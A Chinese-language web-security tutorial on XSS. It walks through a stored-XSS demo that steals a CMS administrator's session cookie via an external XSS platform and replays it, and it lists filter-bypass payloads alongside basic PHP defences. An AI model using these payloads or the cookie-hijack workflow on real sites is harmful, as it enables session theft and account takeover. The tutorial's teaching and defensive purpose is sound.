当前位置: 首页 > article >正文

[渗透测试] XSS跨站点脚本攻击 零基础入门教程

前言

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击。攻击者在合法的网站或Web应用程序中执行恶意脚本。当Web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

​ XSS主要使用JS来执行恶意攻击,因为JS可以操控HTML、CSS、浏览器等,所有就给了攻击者可乘之机。

XSS漏洞原理

​ XSS通过构造JS代码,将其注入到网页中,然后浏览器执行这段JS代码,从而达到恶意攻击的效果。当用户访问这个页面的时候,这段代码就会注入给用户,在用户的浏览器上执行,从而攻击者就可以获取用户信息进行攻击。这个就是XSS漏洞的原理,我们可以将其绘制成一个示意图:
在这里插入图片描述

XSS漏洞利用

XSS攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同。

**注入位置:**搜索框、留言板、聊天室等收集用户输入的地方。

**POC:**可以用一段简单的代码来验证是否存在XSS漏洞。下面是一些检验语句,如果页面存在弹窗,那么说明存在XSS漏洞。

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

XSS漏洞危害

攻击者利用XSS攻击是通过编写恶意JS代码,注入到Web服务器中,用户访问Web界面,这段恶意代码会在用户的浏览器中执行,以达到攻击效果,这样就会产生很多的危害:

  • 窃取用户的Cookie信息,进行Cookie欺骗
  • 劫持用户会话执行任意操作
  • 刷流量、执行弹窗广告进行网络攻击
  • 传播蠕虫病毒
  • 窃取用户私人账密信息
  • 挂马

XSS攻击方式及利用

XSS攻击分为反射型XSS、存储型XSS、DOM型XSS

反射型XSS

非持久、参数型的跨站脚本。攻击者事先做好攻击链接,欺骗用户自己去点击链接来触发XSS代码,一般会出现在像搜索框这样的地方。

比较容易被发现,利用难度较高

存储型XSS

​ 持久型跨站脚本。它通常会被写进数据库或文件等可以被永久保存数据的介质中。通常会出现在像留言板的地方,攻击者将恶意代码写入数据库。如果没有过滤或者过滤不严的话,那么这些恶意代码就会存储在服务器数据库中,当用户访问的时候就会触发代码,形成攻击。

​ 非常危险,很容易造成大面积破坏、窃取用户信息Cookie。

DOM型XSS

​ DOM(Document Object Model,文档对象模型)是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问或更新文本文档,处理后的结果会成为页面的一部分。DOM型XSS是一种XSS攻击方式。通过修改受害者浏览器页面的DOM树来执行。这种攻击技法的特点在于攻击代码在浏览器本地修改DOM树来执行,不会将payload上传到服务器

​ 因为其特性,所有很难被检测到。

XSS攻防

固定会话攻击

原理

固定会话攻击是通过窃取Cookie来实现的。

​ Cookie相当于存储在浏览器里的身份证,拥有它也就拥有了用户的身份。XSS触发是需要浏览器客户端用户(受害者)参与的,攻击者并不清楚什么时候会触发漏洞,所以这个过程也被称为XSS盲打

工具(XSS平台)

使用XSS平台

推荐:XSS安全平台 (xssjs.com)
在这里插入图片描述

攻击演示

1.首先,我们先来在XSS平台上创建一个项目,项目名称就叫做XSS盲打,接着下一步。
在这里插入图片描述

2.接着就是模块代码的选择,这里我们就选择超强默认模块并选择keepsession
在这里插入图片描述

3.完成这些之后,我们的代码就生成出来了,我们会发现上面也有教我们如何使用的教程。
在这里插入图片描述

4.我们以cms网站作为一个XSS盲打网站,我们在留言板处进行XSS代码上传,我们将恶意代码上传上去,接着就是等待后台管理员审核了。
在这里插入图片描述

5.当后台管理员看到这条留言的时候,我们就成功了!我们回到我们的xss平台,打开项目内容,发现我们获取到了cookie。
在这里插入图片描述

cookie : username=admin; userid=1; PHPSESSID=0g29gq5hupifd1tartkva7kjs7

6.有了Cookie,我们就可以来构造了。

document.cookie = "username=admin";
document.cookie = "userid=1";
document.cookie = "PHPSESSID=0g29gq5hupifd1tartkva7kjs7";

7.接着我们F12打开控制台,把cookie输入后我们直接访问admin页面,我们就可以直接跳过登录加入到管理员界面了。
在这里插入图片描述

XSS构造方法

通过何种方式可以触发XSS?

利用<>

可以使用<>来构造XSS代码用于注入。

<script>alert(/xss/)</script>

在这里插入图片描述

利用javascript伪协议

可以通过url载入资源标签来构造。

<a href= javascript:alert(/xss/)>click me!</a>
事件响应

"事件驱动"是一种比较典型的编程思想

事件类型说明
Window 事件对Window 对象触发的事件
Form 事件HTML 表单内触发的事件
keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
# 错误触发
<img src = # onerror = alert(/xss/)>
# 抬键
<input type='text' onkeyup = alert(/xss/)>
# 鼠标悬停
<input type='text' onmouseover = alert(/xss/)>

参考:HTML 事件参考手册 (w3school.com.cn)

XSS变形方式

大小写转换

浏览器对HTML标签大小写不敏感

<ScRipt>alert(/xss/)</ScRipt>
<img ONerror = 'alert(/xss/)' src = "#">
关键词双写
<scr<script>ipt>alert(/xss/)</script>
对伪协议进行转码
插入其他字符

可以将以下字符插入到任意位置

字符编码
Tab&#9;
换行&#10;
回车&#13;

可以将以下字符插入到头部位置

字符编码
SOH&#01;
STX&#02;
引号的使用

HTML对引号的使用要求不严格。

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
/ 代替空格
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
拆分跨站

将一段JS代码拆成多段

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

XSS的防御

通过过滤器以达到过滤用户提交的有害信息的效果来进行防御。

输入过滤

对用户输入进行过滤,进行有效性验证。

  • 仅接收指定长度
  • 仅包含合法字符
  • 仅接收指定范围
  • 特殊的格式
<?php
    $keywords = $_GET['keywords'];
	$keywords = strolower($keywords);
	$keywords = str_replace("on","",$keywords);
	$keywords = str_replace("<script>","",$keywords);
	$keywords = str_replace("<","",$keywords);
	$keywords = str_replace(">","",$keywords);
	echo $keywords;
?>
输出编码

HTML 编码是HTML 实体编码

$keywords = htmlspecialchars($_GET['keywords']);
黑白名单策略

针对名单对用户提交的信息进行过滤。

黑名单:非允许的内容

白名单:允许的内容

测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

在这里插入图片描述


http://www.kler.cn/news/356035.html

相关文章:

  • 单细胞空间转录组分析流程学习python版(三)
  • 你是否真的弄懂了 OAuth 2.0?
  • 某MDM主数据管理系统与微软Dynamic CRM系统(国内节点)集成案例
  • 深入理解WPF中的数据绑定:完整指南
  • 大厂面试真题-说说Redis的cluster模式的故障转移和自动恢复
  • 自由学习记录(10)
  • ChatGPT写作助手:论文写作必备提示词一览
  • Poetry 介绍和安装指南 - Ubuntu 24
  • Go语言基础学习(Go安装配置、基础语法)·
  • 华强北耳机最强攻略。华强北Airpods不踩坑,指南在这
  • 【Linux】gcc编译器的使用
  • HarmonyOS 通过用户首选项实现数据持久化
  • 深拷贝与浅拷贝区别
  • Mac M3安装VMWare Fusion
  • 责任链模式下,解决开闭原则问题实践
  • 重写QObjiet虚函数timerEvent()启动定时器
  • ssm基于SSM框架的成绩管理系统的设计与实现+vue
  • 矩阵相关算法
  • 【基于数据分析-画图展示】
  • 【Unity - 屏幕截图】技术要点